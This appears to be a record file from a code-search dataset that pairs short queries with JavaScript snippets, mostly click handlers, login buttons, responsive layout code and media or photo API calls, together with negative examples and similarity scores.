true, true, window, 1);\\r\\n\\tel.dispatchEvent(clickUI);\\r\\n}\",\n \"function loginCmd( proj ) {\\n\\tvar user = document.getElementById( 'loginUser' ).value; \\n\\tvar pass = document.getElementById( 'loginPass' ).value; \\n\\twindow.location.href=\\\"plus.php?action=2&user=\\\" + user + \\n\\t\\\"&pass=\\\"+ pass + \\\"&project=\\\" + proj ;\\n}\",\n \"function ClickHabilidadeEspecial() {\\n // TODO da pra melhorar.\\n AtualizaGeral();\\n}\",\n \"function o(a){a.click(p).mousedown(ka)}\",\n \"function interaction1() {\\n window.location.href = `https://amdevito.github.io/211/interact/index.html`;\\n}\",\n \"function clickme(){\\n //the message in the pop up\\n\\t\\talert('Hey, you clicked me!');\\n\\t}\",\n \"function onCancelClick() {\\n $.trigger('promptSignature:cancel_signature');\\n}\",\n \"function loginUgyldig() {\\r\\n Aliases.linkAuthorizationLogin.Click();\\r\\n\\r\\n let brukernavn = func.random(15) + \\\"@\\\" + func.random(7) + \\\".com\\\"\\r\\n let passord = func.random(8)\\r\\n loggInn(brukernavn, passord);\\r\\n\\r\\n //Sjekk om feilmelding kommer frem: \\r\\n aqObject.CheckProperty(Aliases.textnodeBeklagerViFantIngenMedDe, \\\"Visible\\\", cmpEqual, true);\\r\\n Aliases.linkHttpsTestOptimeraNo.Click();\\r\\n}\",\n \"function lcom_RegOKCompleta(){\\n\\topenFBbox(context_ssi+\\\"boxes/community/login/verifica_ok_nomail.shtml\\\");\\n}\",\n \"function click_sanc()\\r\\n{\\r\\ndocument.getElementById('bountyForm').getElementsByClassName('btnMed btnBroadcast')[0].click();\\r\\n//click(document.getElementById('bountyForm').getElementsByClassName('btnMed btnBroadcast')[0]);\\r\\n}\",\n \"function click1()\\n{\\n\\tagreeLink1_valid = true;\\n}\",\n \"handleClick(){\\n var urlBuilder = [];\\n urlBuilder.push('response_type=code', `client_id=${config.google_client_id}`, `redirect_uri=${window.location.origin}/login/callback`, 'scope=profile email');\\n const url = \\\"https://accounts.google.com/o/oauth2/v2/auth?\\\" + urlBuilder.join('&');\\n // Open the popup window\\n window.location.href = url;\\n }\",\n \"function handleClick() {\\n\\t\\tpaymentsClient.loadPaymentData(getRequest()).then(function(paymentData){\\n\\t\\t\\tconst $data = paymentData.paymentMethodData.tokenizationData.token\\n\\t\\t\\tgpaytoken($data);\\n\\n\\t\\t}).catch(function(err){\\n\\t\\t\\tself.hide(err);\\n\\t\\t});\\n\\n\\t}\",\n \"function asignarEventos() {\\n _.click(function() {\\n\\n });\\n}\",\n \"function toSigns() {\\n document.getElementById('keyboardMinus').style.display = \\\"none\\\";\\n document.getElementById('keyboardMayus').style.display = \\\"none\\\";\\n document.getElementById('keyboardNum').style.display = \\\"none\\\";\\n document.getElementById('keyboardSymb').style.display = \\\"block\\\";\\n document.getElementById('keyboardGif').style.display = \\\"none\\\";\\n}\",\n \"function bwClick(itemId) {\\n $(itemId).click();\\n}\",\n \"handleJDotterClick() {}\",\n \"function prim_click(e) {\\n var user = document.querySelector('#select_value').value;\\n browser.runtime.sendMessage({ 'name': 'set_change_card_for_site', 'user': user }, function (response) { });\\n window.close();\\n}\",\n \"async click() {\\n await t.click(selector);\\n }\",\n \"verCartelera(){\\n browser.click('.btn.btnEnviar.btnVerCartelera')\\n }\",\n \"function trackShatnerBoxClick(result) {\\n var s = s_gi(s_account);\\n var txt = 'ShatnerBoxClick_' + result;\\n s.trackExternalLinks = false;\\n s.linkTrackVars = 'prop6,eVar6';\\n s.tl(this, 'o', txt);\\n}\",\n \"function onClickFollow(){\\n if(compname === \\\"\\\"){\\n notification['warning']({\\n message: 'Function Error',\\n description:\\n 'There is no company selected.',\\n });\\n }else{\\n notification['success']({\\n message: 'Operation Success',\\n description:\\n `${compname} has been added to the following list. `,\\n });\\n }\\n }\",\n \"function ClickAdicionarArmadura() {\\n gEntradas.armaduras.push({ chave: 'nenhuma', obra_prima: false, bonus: 0 });\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"clickMyProfileLink() {\\n return this.myProfileLink.click();\\n }\",\n \"click(x, y, _isLeftButton) {}\",\n \"goToGithub() {\\n window.location.href = \\\"https://github.com/kandrupr\\\"\\n }\",\n \"static addClickListenerOnPublisherSignInButton_() {\\n self.document\\n .getElementById(PUBLISHER_SIGN_IN_BUTTON_ID)\\n .addEventListener('click', (e) => {\\n e.preventDefault();\\n\\n callSwg((swg) => swg.triggerLoginRequest({linkRequested: false}));\\n });\\n }\",\n \"function goTo(menuKey) {\\n\\t\\t\\tvar template = SUGGGET_ADPAYMENT;\\n\\t\\t\\tsetArParams(menuKey);\\n\\t\\t\\tsetIdCheckbox(menuKey);\\n\\t\\t\\tsetApParams(menuKey);\\n\\t\\t\\tpostal.publish({\\n\\t\\t\\t\\tchannel: \\\"Tab\\\",\\n\\t\\t\\t\\ttopic: \\\"open\\\",\\n\\t\\t\\t\\tdata: template\\n\\t\\t\\t});\\n\\t\\t}\",\n \"function clickHandler(e) {\\n // Nur bei Linksklick\\n if (e.button !== 0) return;\\n clickAt(e.offsetX, e.offsetY);\\n }\",\n \"function logClick() {\\n ReactGA.event({\\n category: 'Registration',\\n action: 'Clicked Register Today',\\n label: 'Challenge Text link',\\n });\\n}\",\n \"function simulateclick(){\\n\\tdocument.getElementById('imagefiles').click();\\n}\",\n \"function openSignUp() {\\n\\tif (validateEmail()) {\\n\\t\\tvar url = '/' + channel + '/Content.ice?page=Sign-Up-For-Fashion-News&pgForward=popup' + '&email=' + document.getElementById('email').value;\\n open(url,'SignupForFashionNews','width=700,height=500');\\n var tmp = open(url,'SignupForFashionNews','width=700,height=500');\\n\\t\\ttmp.focus();\\n\\t}\\n\\treturn false;\\n}\",\n \"click() { // add click event\\n app.quit();\\n }\",\n \"function handleAuthClick() {\\n\\tgapi.auth2.getAuthInstance().signIn().catch((ignore) => {});\\n}\",\n \"function handleAuthClick(event) {\\n gapi.auth2.getAuthInstance().signIn();\\n }\",\n \"clickLoginButton() {\\n this.loginButton.click();\\n }\",\n \"function clicksubmitskill(e) {\\n if (e.keyCode == 13) {\\n document.getElementById(\\\"submitskill\\\").click();\\n return false;\\n }\\n return true;\\n }\",\n \"function click2()\\n{\\n\\tagreeLink2_valid = true;\\n}\",\n \"function TakeLoginAction(e) {\\n\\n var enterkeyPressed = IsEnterKeyPressed(e);\\n\\n if (enterkeyPressed) {\\n\\n if (window.event) {\\n event.returnValue = false;\\n event.cancel = true;\\n }\\n else {\\n e.returnValue = false;\\n e.cancel = true;\\n }\\n\\n var actionButton = GetActionButton(\\\"logonButton\\\");\\n\\n if (actionButton != null) {\\n actionButton.click();\\n }\\n }\\n}\",\n \"function ClickGerarResumo() {\\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\\n var input = Dom(\\\"resumo-personagem-2\\\");\\n input.value = GeraResumo();\\n input.focus();\\n input.select();\\n}\",\n \"function click(el) {\\n var ev = document.createEvent('MouseEvent');\\n ev.initMouseEvent(\\n 'click',\\n true /* bubble */, true /* cancelable */,\\n window, null,\\n 0, 0, 0, 0, /* coordinates */\\n false, false, false, false, /* modifier keys */\\n 0 /*left*/, null\\n );\\n el.dispatchEvent(ev);\\n }\",\n \"function handleAuthClick(event) {\\r\\n gapi.auth2.getAuthInstance().signIn();\\r\\n}\",\n \"function handleAuthClick(event) {\\r\\n gapi.auth2.getAuthInstance().signIn();\\r\\n}\",\n \"clickCheckOutGreenTea() {\\n this.clickElem(this.btnCheckOutGreenTea);\\n }\",\n \"function keywordsMsg(e)\\n{\\n var event = e || window.event;\\n if(event.keyCode == 13)\\n {\\n $('#send').click(); \\n }\\n}\",\n \"async cookieClicker() {\\n let isPresent = await this.cookieButtonElement.isPresent();\\n if (isPresent) {\\n await this.cookieButtonElement.click();\\n }\\n }\",\n \"function click(el){\\n var ev = document.createEvent('MouseEvent');\\n ev.initMouseEvent(\\n 'click',\\n true, true,\\n window, null,\\n 0, 0, 0, 0,\\n false, false, false, false,\\n 0, null\\n );\\n el.dispatchEvent(ev);\\n}\",\n \"function done(){\\n iframes[0].querySelector(\\\"#InlineEditDialog_buttons > input:nth-child(1)\\\").click()\\n }\",\n \"function click(e) {\\r\\n\\t\\tif(!e && typeof e=='string') e=document.getElementById(e);\\r\\n\\t\\tif(!e) return;\\r\\n\\t\\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\\r\\n\\t\\tevObj.initMouseEvent(\\\"click\\\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\\r\\n\\t\\te.dispatchEvent(evObj);\\r\\n\\t}\",\n \"function click(e) {\\r\\n\\t\\tif(!e && typeof e=='string') e=document.getElementById(e);\\r\\n\\t\\tif(!e) return;\\r\\n\\t\\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\\r\\n\\t\\tevObj.initMouseEvent(\\\"click\\\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\\r\\n\\t\\te.dispatchEvent(evObj);\\r\\n\\t}\",\n \"function handleAuthClick(event) {\\n\\tgapi.auth2.getAuthInstance().signIn();\\n}\",\n \"function handleAuthClick(event) {\\n\\tgapi.auth2.getAuthInstance().signIn();\\n}\",\n \"function clickButtonEl(key) {\\n numbersEl.forEach((button) => {\\n if (button.innerText === key) {\\n button.click();\\n }\\n });\\n}\",\n \"function signCon() {\\n\\t$(\\\"#sps\\\").click( function() {\\n\\t\\t$(\\\"#signup\\\").slideToggle();\\n\\t})\\n\\t$(\\\"#spc\\\").click( function() {\\n\\t\\t$(\\\"#settingsBox\\\").slideToggle();\\n\\t})\\n\\t$(\\\"#contactMeButton\\\").click( function() {\\n\\t\\t$(\\\"#contactme\\\").slideToggle();\\n\\t})\\n}\",\n \"function onCallForwardingAutoPopupOkBtnClick() {\\r\\n callForwardingAutoToggleSwitch.click();\\r\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.63308024","0.6325274","0.59800106","0.5818107","0.5774368","0.5710783","0.57096374","0.5677159","0.567587","0.5666399","0.5660508","0.56503785","0.56413054","0.5638463","0.55988306","0.5586199","0.55725545","0.5566793","0.553986","0.55269295","0.5509403","0.55068874","0.54900956","0.5474483","0.54682106","0.5459994","0.54569554","0.54367834","0.54134107","0.5409913","0.5408414","0.5406675","0.54039973","0.5396695","0.5395361","0.53876543","0.53832656","0.5379943","0.53703994","0.53687024","0.5359421","0.5353413","0.5348026","0.53460854","0.5339658","0.5333531","0.53269124","0.5323306","0.53179044","0.53137565","0.53117764","0.53113395","0.5308042","0.53022575","0.52863246","0.5285958","0.5284779","0.5279279","0.527756","0.52730554","0.5266057","0.5256763","0.5249958","0.52480716","0.5247977","0.5241694","0.5240843","0.52374166","0.5236948","0.5236922","0.5234914","0.522757","0.52225536","0.5220033","0.5220012","0.52151877","0.52144265","0.5200432","0.51979256","0.51945335","0.5193316","0.5190369","0.518967","0.51881045","0.51875114","0.51820844","0.5181772","0.5180902","0.5175787","0.51753527","0.5174047","0.51733947","0.51687264","0.5166905","0.5166905","0.5166553","0.5166553","0.5165698","0.51600856","0.515703"],"string":"[\n \"0.63308024\",\n \"0.6325274\",\n \"0.59800106\",\n \"0.5818107\",\n \"0.5774368\",\n \"0.5710783\",\n \"0.57096374\",\n \"0.5677159\",\n \"0.567587\",\n \"0.5666399\",\n \"0.5660508\",\n \"0.56503785\",\n \"0.56413054\",\n \"0.5638463\",\n \"0.55988306\",\n \"0.5586199\",\n \"0.55725545\",\n \"0.5566793\",\n \"0.553986\",\n \"0.55269295\",\n \"0.5509403\",\n \"0.55068874\",\n \"0.54900956\",\n \"0.5474483\",\n \"0.54682106\",\n \"0.5459994\",\n \"0.54569554\",\n \"0.54367834\",\n \"0.54134107\",\n \"0.5409913\",\n \"0.5408414\",\n \"0.5406675\",\n \"0.54039973\",\n \"0.5396695\",\n \"0.5395361\",\n \"0.53876543\",\n \"0.53832656\",\n \"0.5379943\",\n \"0.53703994\",\n \"0.53687024\",\n \"0.5359421\",\n \"0.5353413\",\n \"0.5348026\",\n \"0.53460854\",\n \"0.5339658\",\n \"0.5333531\",\n \"0.53269124\",\n \"0.5323306\",\n \"0.53179044\",\n \"0.53137565\",\n \"0.53117764\",\n \"0.53113395\",\n \"0.5308042\",\n \"0.53022575\",\n \"0.52863246\",\n \"0.5285958\",\n \"0.5284779\",\n \"0.5279279\",\n \"0.527756\",\n \"0.52730554\",\n \"0.5266057\",\n \"0.5256763\",\n \"0.5249958\",\n \"0.52480716\",\n \"0.5247977\",\n \"0.5241694\",\n \"0.5240843\",\n \"0.52374166\",\n \"0.5236948\",\n \"0.5236922\",\n \"0.5234914\",\n \"0.522757\",\n \"0.52225536\",\n \"0.5220033\",\n \"0.5220012\",\n \"0.52151877\",\n \"0.52144265\",\n \"0.5200432\",\n \"0.51979256\",\n \"0.51945335\",\n \"0.5193316\",\n \"0.5190369\",\n \"0.518967\",\n \"0.51881045\",\n \"0.51875114\",\n \"0.51820844\",\n \"0.5181772\",\n \"0.5180902\",\n \"0.5175787\",\n \"0.51753527\",\n \"0.5174047\",\n \"0.51733947\",\n \"0.51687264\",\n \"0.5166905\",\n \"0.5166905\",\n \"0.5166553\",\n \"0.5166553\",\n \"0.5165698\",\n \"0.51600856\",\n \"0.515703\"\n]"},"document_score":{"kind":"string","value":"0.534272"},"document_rank":{"kind":"string","value":"44"}}},{"rowIdx":39,"cells":{"query":{"kind":"string","value":"=============================================>>>>> = MEDIA QUERIES = ===============================================>>>>>"},"document":{"kind":"string","value":"function handleWidthChange(mqlVal) {\n\t\t\tif (mqlVal.matches) {\n\n\t\t\t\t$navLinks.off('click');\n\t\t\t\t$('.btn-section').off('click');\n\n\t\t\t\t$navLinks.on('click', function(e) {\n\t\t\t\t\te.preventDefault();\n\t\t\t\t\tvar target = $(this).attr('href'),\n\t\t\t\t\t\ttargetOffset = $(target).offset();\n\t\t\t\t\t$(this).parent().addClass('active').siblings().removeClass('active');\n\t\t\t\t\t$('html,body').animate({scrollTop: (targetOffset.top)}, 500);\n\t\t\t\t\t$('.nav-main').removeClass('active');\n\t\t\t\t\t$('.hamburger').removeClass('is-active');\n\t\t\t\t});\n\n\t\t\t\t/*=============================================>>>>>\n\t\t\t\t= REMOVE CUSTOM SCROLLBAR =\n\t\t\t\t===============================================>>>>>*/\n\t\t\t\t$('.section-block-content').mCustomScrollbar('destroy');\n\n\t\t\t} else {\n\n\t\t\t\t$navLinks.off('click');\n\n\t\t\t\tcheckUrlHash();\n\n $('.section-main-block, .section-secondary-block').addClass('animated');\n\n\t\t\t\t$('.section-secondary-block-right').on(animationEnd, function(e) {\n\t\t\t\t\tif ($(e.target).parent().hasClass('section-out') && $(e.target).hasClass('section-secondary-block-right')) {\n\t\t\t\t\t\tconsole.log('Section \"' + $(e.target).parent().attr('id') + '\" out.' );\n\t\t\t\t\t\t$(e.target).parents('.section').removeClass('section-out');\n\t\t\t\t\t\t$(e.target).removeClass(sectionOutAnimation).siblings('.section-secondary-b').removeClass(sectionOutAnimation);\n\t\t\t\t\t} else if ($(e.target).parent().hasClass('section-in') && $(e.target).hasClass('section-secondary-block-right')) {\n\t\t\t\t\t\tconsole.log('Section \"' + $(e.target).parent().attr('id') + '\" in.' );\n\t\t\t\t\t\tisAnimating = false;\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\t$navLinks.on('click', function(e) {\n\t\t\t\t\te.preventDefault();\n\t\t\t\t\tchangeSections(e);\n\t\t\t\t});\n\t\t\t\t$('.btn-section').on('click', function(e) {\n\t\t\t\t\te.preventDefault();\n\t\t\t\t\tchangeSections(e);\n\t\t\t\t});\n\n\t\t\t\t/*=============================================>>>>>\n\t\t\t\t= INIT CUSTOM SCROLLBAR =\n\t\t\t\t===============================================>>>>>*/\n\t\t\t\t$('.section-block-content').mCustomScrollbar({\n\t\t\t\t\ttheme: 'flipcard',\n\t\t\t\t\tscrollInertia: 100\n\t\t\t\t});\n\n\t\t\t}\n\t\t}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async getMediaItems(albumID){\n //Reponse contains an array of (id, description, productUr, mediaMetaData, filename)\n const token = await GoogleSignin.getTokens();\n await this.getDbUserData();\n data = {\n URI: 'https://photoslibrary.googleapis.com/v1/mediaItems:search',\n method: 'POST',\n headers: {\n 'Authorization': 'Bearer '+ token.accessToken,\n 'Content-type': 'application/json'\n },\n body: JSON.stringify({\n \"pageSize\":\"100\",\n \"albumId\": albumID\n })\n }\n response = await this.APIHandler.sendRequest(data);\n return response.mediaItems\n }","function MediaByTag() {\r\n\tvar caption;\r\n\tvar link;\r\n\tvar tags;\r\n\tvar comments;\r\n\tvar likes;\r\n\tvar imageUrls;\r\n\tvar userInfo;\r\n}","function getMediaByIds(ids) {\n return $.post('/api/media/ids', { media: { ids } });\n }","function queryPictures(req) {\n\n let query = Picture.find();\n\n if (typeof (req.query.src) == 'string') {\n query = query.where('src').equals(req.query.src);\n }\n\n if (typeof (req.query.description) == 'string') {\n query = query.where('description').equals(req.query.description);\n }\n\n return query;\n}","async function getMedia() {\n if (!username) return;\n const resp = await fetch(`https://www.instagram.com/${username}/?__a=1`);\n const { graphql } = await resp.json();\n setImages(\n graphql.user.edge_owner_to_timeline_media.edges.map(\n ({ node }) => node.thumbnail_resources\n )\n );\n }","async function FindMediaItems(options = [], button) {\n\t\tif(!(options.length && button))\n\t\t\treturn;\n\n\t\t/* Get rid of repeats */\n\t\tlet uuids = [];\n\n\t\toptions = options.map((v, i, a) => {\n\t\t\tlet { type, title } = v,\n\t\t\t\tuuid = UUID.from({ type, title });\n\n\t\t\tif(!!~uuids.indexOf(uuid))\n\t\t\t\treturn options.splice(i, 1), null;\n\t\t\tuuids.push(uuid);\n\n\t\t\treturn v;\n\t\t})\n\t\t.filter(v => v);\n\n\t\tlet results = [],\n\t\t\tlength = options.length,\n\t\t\tqueries = (FindMediaItems.queries = FindMediaItems.queries || {});\n\n\t\tFindMediaItems.OPTIONS = options;\n\n\t\tlet query = JSON.stringify(options);\n\n\t\tquery = (queries[query] = queries[query] || {});\n\n\t\tif(query.running === true)\n\t\t\treturn;\n\t\telse if(query.results) {\n\t\t\tlet { results, multiple, items } = query;\n\n\t\t\tnew Notification('update', `Welcome back. ${ multiple } new ${ items } can be grabbed`, 7000, (event, target = button.querySelector('.list-action')) => target.click({ ...event, target }));\n\n\t\t\tif(multiple)\n\t\t\t\tUpdateButton(button, 'multiple', `Download ${ multiple } ${ items }`, results);\n\n\t\t\treturn;\n\t\t}\n\n\t\tquery.running = true;\n\n\t\tnew Notification('info', `Processing ${ length } item${ 's'[+(length === 1)] || '' }...`);\n\n\t\tfor(let index = 0, option, opt; index < length; index++) {\n\t\t\tlet { IMDbID, TMDbID, TVDbID } = (option = await options[index]);\n\n\t\t\topt = { name: option.title, title: option.title, year: option.year, image: options.image, type: option.type, imdb: IMDbID, IMDbID, tmdb: TMDbID, TMDbID, tvdb: TVDbID, TVDbID };\n\n\t\t\ttry {\n\t\t\t\tawait Request_Plex(option)\n\t\t\t\t\t.then(async({ found, key }) => {\n\t\t\t\t\t\tlet { imdb, tmdb, tvdb } = opt,\n\t\t\t\t\t\t\t{ type, title, year } = opt,\n\t\t\t\t\t\t\tuuid = UUID.from({ type, title });\n\n\t\t\t\t\t\tif(found) {\n\t\t\t\t\t\t\t// ignore found items, we only want new items\n\t\t\t\t\t\t\tupdateMinion({ imdb, tmdb, tvdb, uuid }, 'found', { ...opt, key })\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\toption.field = 'original_title';\n\n\t\t\t\t\t\t\treturn await Request_Plex(option)\n\t\t\t\t\t\t\t\t.then(({ found, key }) => {\n\t\t\t\t\t\t\t\t\tif(found) {\n\t\t\t\t\t\t\t\t\t\t// ignore found items, we only want new items\n\t\t\t\t\t\t\t\t\t\tupdateMinion({ imdb, tmdb, tvdb, uuid }, 'found', { ...opt, key })\n\t\t\t\t\t\t\t\t\t} else if(CAUGHT.has({ imdb, tmdb, tvdb })) {\n\t\t\t\t\t\t\t\t\t\t// ignore items already being watched\n\t\t\t\t\t\t\t\t\t\tupdateMinion({ imdb, tmdb, tvdb, uuid }, 'queued')\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tlet available = (__CONFIG__.usingOmbi || __CONFIG__.usingWatcher || __CONFIG__.usingRadarr || __CONFIG__.usingSonarr || __CONFIG__.usingMedusa || __CONFIG__.usingSickBeard || __CONFIG__.usingCouchPotato),\n\t\t\t\t\t\t\t\t\t\t\taction = (available? 'download': 'notfound'),\n\t\t\t\t\t\t\t\t\t\t\ttitle = available?\n\t\t\t\t\t\t\t\t\t\t\t\t'Not on Plex (download available)':\n\t\t\t\t\t\t\t\t\t\t\t'Not on Plex (download not available)';\n\n\t\t\t\t\t\t\t\t\t\tupdateMinion({ imdb, tmdb, tvdb, uuid }, (available? 'download': 'not-found'));\n\t\t\t\t\t\t\t\t\t\tresults.push({ ...opt, found: false, status: action });\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t\t.catch(error => { throw error });\n\t\t\t} catch(error) {\n\t\t\t\tUTILS_TERMINAL.error('Request to Plex failed: ' + String(error));\n\t\t\t\t// new Notification('error', 'Failed to query item #' + (index + 1));\n\t\t\t}\n\t\t}\n\n\t\tresults = results.filter(v => v.status == 'download');\n\n\t\tlet img = furnish('img#plexit-add', { title: 'Add to Plex It!', onmouseup: event => {let frame = document.querySelector('#plexit-bookmarklet-frame'); frame.src = frame.src.replace(/(#plexit:.*)?$/, '#plexit:' + event.target.parentElement.getAttribute('data'))} }),\n\t\t\tpo, pi = furnish('li#plexit.list-item', { data: encode(JSON.stringify(results)) }, img),\n\t\t\top = document.querySelector('#wtp-plexit');\n\n\t\tif(po = button.querySelector('#plexit'))\n\t\t\tpo.remove();\n\t\ttry {\n\t\t\tbutton.querySelector('ul').insertBefore(pi, op);\n\t\t} catch(e) { /* Don't do anything */ }\n\n\t\tlet multiple = results.length,\n\t\t\titems = multiple == 1? 'item': 'items';\n\n\t\tnew Notification('update', `Done. ${ multiple } new ${ items } can be grabbed`, 7000, (event, target = button.querySelector('.list-action')) => target.click({ ...event, target }));\n\n\t\tquery.running = false;\n\t\tquery.results = results;\n\t\tquery.multiple = multiple;\n\t\tquery.items = items;\n\n\t\tif(multiple)\n\t\t\tUpdateButton(button, 'multiple', `Download ${ multiple } ${ items }`, results);\n\t}","function uploadMusic() {\n //returns array of music available for ringtone after reading from file, is used for \"tones\" array\n}","function mediaQueryListDispatcher() {\n\t\tthis.mqls = [];\n\t}","function myMedia(req, res) {\n return _media2.default.find({ 'uid': req.user.email },null, {sort: {created_at: -1}}).exec().then(respondWithResult(res)).catch(handleError(res));\n}","async function _loadMedia() {\n\n var data = await fetch('/content/media.json');\n var json = await data.json();\n\n json.forEach((file) => {\n media.push(file);\n });\n\n _buildTable();\n tableUIUpdate();\n\n }","processUploadImages(uploadData){\n mediaItems = []\n for (i = 0; i < uploadData.length; i ++){\n mediaItems.push({\n \"description\": uploadData[i].description,\n \"simpleMediaItem\": {\n \"uploadToken\": uploadData[i].uploadToken\n }\n })\n }\n return mediaItems\n }","function deduplicteMediaItems() {\n\n}","function getMedia(user) {\n userId = user || \"\";\n if (userId) {\n userId = \"/?userId=\" + userId;\n }\n $.get(\"/api/posts\" + authorId, function(data) {\n console.log(\"Posts\", data);\n saved = data;\n if (!posts || !posts.length) {\n displayEmpty(user);\n }\n else {\n initializeRows();\n }\n });\n }","function searchMusic(name){\n if(!name){\n name = \"The sigin\";\n }\n spotify.search({ type: 'track', query: name }, function(err, data) {\n if (err) {\n return console.log('Error occurred: ' + err);\n }\n for (var i = 0; i < 5; i++) {\n console.log(\"Artist Name: \"+data.tracks.items[i].artist[0].name); \n console.log(\"Song name: \"+data.tracks.items[i].name);\n console.log(\"Link: \"+data.tracks.items[i].album.name);\n console.log(\"Album\"+data.tracks.items[i].preview_url);\n console.log(\"-------------------------------------\");\n }\n });\n}","function loadMedia(location, queries, manage, final) {\n\n // Recursive function\n function nextMedia(i) {\n\n // From queries object to array, in order to use $.when()\n var indices = []; // Keeps track of which number corresponds with which key\n var queriesArr = []; // Array of the queries\n var j = 0; // Index\n for(var q in queries) {\n indices.push(q);\n // Make a shallow copy of queries[q], so it's unaffected for next iteration\n queriesArr.push($.extend({}, queries[q]));\n // Important! Add the absolute path of the file to the query as a prefix!\n queriesArr[j].url = location + i.toString() + '/' + queriesArr[j].url;\n // Replace query data by actual jqXHR object\n queriesArr[j] = $.ajax(queriesArr[j]);\n j++;\n }\n\n // When all the queries are completed...\n $.when(...queriesArr).done(function(...resultsArr) {\n\n // Back from array to object\n var results = {};\n for(var j = 0; j < resultsArr.length; j++) {\n results[indices[j]] = resultsArr[j];\n }\n\n // Call to manager function with processed data\n manage(location, results, i);\n\n nextMedia(i + 1); // Keep going\n\n }).fail(final); // Call after everything is done\n\n } // nextMedia(i)\n\n nextMedia(0); // Initial call\n\n}","function execute() {\n return gapi.client.photoslibrary.mediaItems.list({}).then(\n function(response) {\n // Handle the results here (response.result has the parsed body).\n console.log(\"Response\", response);\n },\n function(err) {\n console.error(\"Execute error\", err);\n }\n );\n}","function mediaLocStorage() {\n // assign media object to a variable\n var mediaObj = memory.media,\n // create an empty object\n mediaLinks = {};\n // loop through media object\n for (var i = 0; i < mediaObj.length; i++) {\n\n if (mediaLinks[mediaObj[i].post] == mediaObj.post) {\n // assign object keys and values\n // \"the key will be the post id, and the value will be the image link\"\n mediaLinks[mediaObj[i].post] = mediaObj[i].source_url;\n }\n }\n // save the object in local storage\n storage.write('postImg', mediaLinks);\n }","images() {\n // console.log('thumbnails helper');\n return Images.find({\n thumbnail: { $exists: 1 },\n // subscriptionId: ThumbnailsHandle.subscriptionId,\n }, {\n limit: ImagesPerPage,\n sort: { created: -1 }\n });\n }","function list( url, requestArguments ) {\n\t\t\tvar getter = {},\n\t\t\t\taction = {\n\t\t\t\t\tmethod: 'GET',\n\t\t\t\t\ttransformResponse: function( data ) {\n\t\t\t\t\t\treturn convertJsonToObj( data );\n\t\t\t\t\t}\n\t\t\t\t};\n\n\t\t\t// Setup API $resource\n\t\t\tgetter.api = apiService.request( url, { 'get': action } );\n\n\t\t\t// Add Wistia authentication to the request arguments\n\t\t\tangular.merge( requestArguments, apiKey );\n\n\t\t\t// Make request to list media\n\t\t\tgetter.request = getter.api.get( requestArguments ).$promise.then(\n\n\t\t\t\t// SUCCESS\n\t\t\t\tfunction( response ) {\n\t\t\t\t\tvar eventArgs = {\n\t\t\t\t\t\tuploads: {}\n\t\t\t\t\t};\n\n\t\t\t\t\t// Received list successfully (account for $promise and $resolved objects)\n\t\t\t\t\tif ( response && Object.keys( response ).length > 2 ) {\n\t\t\t\t\t\tconsole.log( 'Successfully received the list of media' );\n\n\t\t\t\t\t\teventArgs.uploads = response;\n\t\t\t\t\t\tdelete eventArgs.uploads.$promise;\n\t\t\t\t\t\tdelete eventArgs.uploads.$resolved;\n\n\t\t\t\t\t\t$rootScope.$emit( 'videoListReturned', eventArgs );\n\n\t\t\t\t\t// Could not receive list\n\t\t\t\t\t} else {\n\t\t\t\t\t\tconsole.warn( 'Could not receive list.', response );\n\t\t\t\t\t}\n\t\t\t\t},\n\n\t\t\t\t// FAILURE\n\t\t\t\tfunction( error ) {\n\t\t\t\t\tconsole.error( error.data );\n\t\t\t\t}\n\t\t\t);\n\t\t}","function getNodeMediaItems(title, commonLocation, eventId, eventHtml) {\n var url = 'http://localhost:8001/search/combined/';\n url += encodeURIComponent(title + ' ' + commonLocation);\n var xhr = new XMLHttpRequest();\n xhr.onreadystatechange = function() {\n if (xhr.readyState == 4) {\n requestReceived();\n if (xhr.status == 200) {\n var data = JSON.parse(xhr.responseText);\n retrieveNodeMediaItemsResults(data, eventId, eventHtml);\n } else {\n console.log('Error: Getting media items for the query failed.');\n }\n }\n }\n xhr.open('GET', url, true);\n xhr.send();\n requestSent();\n}","function mediaList(req,res,template,block,next) { \n \n // Render the item via the template provided above\n calipso.theme.renderItem(req,res,template,block,{}); \n next();\n \n}","function populateStorages(storageModels) {\n var queues = [],\n response = $q.defer(),\n results = _.where(storageModels, {type: 'areaimage'});\n\n // $scope.AreaImages = _.where(storageModels, {type: 'areaimage'});\n\n _.each(results, function(image){\n //populateImage(image);\n queues.push(Storage.GetFileImageString(image.id));\n });\n\n $q.all(queues)\n .then(function(images){\n _.each(results, function(image, i){\n image.data = images[i];\n });\n return response.resolve(results);\n\n },\n function(error){\n return response.reject(error);\n });\n return response.promise;\n /*\n $scope.Signature = _.where(storageModels, {type: 'signature'})[0];\n\n if ($scope.Signature && $scope.Signature.id.length === 36) {\n populateImage($scope.Signature);\n }*/\n\n }","function getMediasFiles(path, cb) {\n var medias = {};\n glob(path, function (err, files) {\n files.forEach(function (filename) {\n var infos = pathinfo(filename);\n medias[infos.basename.toUpperCase()] = {\n filename: filename,\n products: []\n };\n });\n cb(medias);\n })\n }","function queryMediaInfo(paramData) {\n let url = jjkgalleryRoot + \"getMediaInfo.php\"\n fetch(url, {\n method: 'POST',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify(paramData)\n })\n .then(response => response.json())\n .then(responseMediaInfo => {\n // Save media information in a variable in a module (that can be imported into other modules)\n loadMediaInfo(responseMediaInfo)\n\n getMenu = paramData.getMenu\n if (getMenu) {\n // Save the menu lists\n setMenuList(mediaInfo.menuList)\n categoryList = mediaInfo.categoryList\n menuFilter = mediaInfo.menuFilter\n 